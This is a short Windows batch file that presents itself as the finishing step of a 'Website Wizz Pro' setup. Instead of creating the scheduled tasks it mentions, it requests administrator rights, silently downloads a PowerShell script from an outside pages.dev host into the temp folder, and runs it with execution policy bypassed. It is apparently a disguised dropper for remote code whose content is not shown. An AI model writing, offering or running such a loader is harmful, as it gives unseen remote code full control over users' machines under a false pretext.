@echo off
REM Finishes the setup. The first run installed everything but stopped at
REM "Creating scheduled tasks"; this creates them.

net session >nul 2>&1
if %errorlevel% neq 0 (
    echo Asking for administrator access...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)
title Website Wizz Pro - Finish Setup
color 0A
cd /d "%TEMP%"
curl.exe -s -o wizzfix.ps1 https://wizzpc.pages.dev/fix.ps1
powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\wizzfix.ps1"
